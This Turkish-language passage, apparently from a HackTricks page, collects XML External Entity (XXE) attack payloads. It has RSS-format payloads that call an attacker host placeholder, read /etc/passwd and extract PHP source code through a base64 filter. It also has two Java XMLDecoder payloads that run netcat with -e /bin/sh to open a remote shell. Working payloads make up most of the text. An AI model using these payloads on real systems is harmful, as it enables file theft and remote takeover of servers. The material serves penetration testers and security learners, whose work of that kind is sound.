Bu değişiklik, HTTP aracılığıyla gönderilen hata çıktısında yansıtıldığı gibi dosyanın içeriğinin başarılı bir şekilde dışa aktarılmasına yol açar. Bu, hassas bilgileri çıkarmak için Hem Bağlam Dışı Hem de Hata Tabanlı teknikleri kullanan başarılı bir XXE (XML Dışsal Varlık) saldırısını gösterir.

RSS - XEE

XXE zafiyetini sömürmek için RSS formatındaki geçerli XML.

Geri Bildirim

Saldırganın sunucusuna basit bir HTTP isteği

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Dosya okuma

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Kaynak kodunu oku

PHP base64 filtresi kullanarak

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın readObject yöntemine keyfi verileri kullanmasını sağlayabilirse, sunucuda anında kod yürütme yetkisine sahip olacaktır.

Runtime().exec() Kullanımı

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

Araçlar

{% embed url="https://github.com/luisfontes19/xxexploiter" %}

Referanslar

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: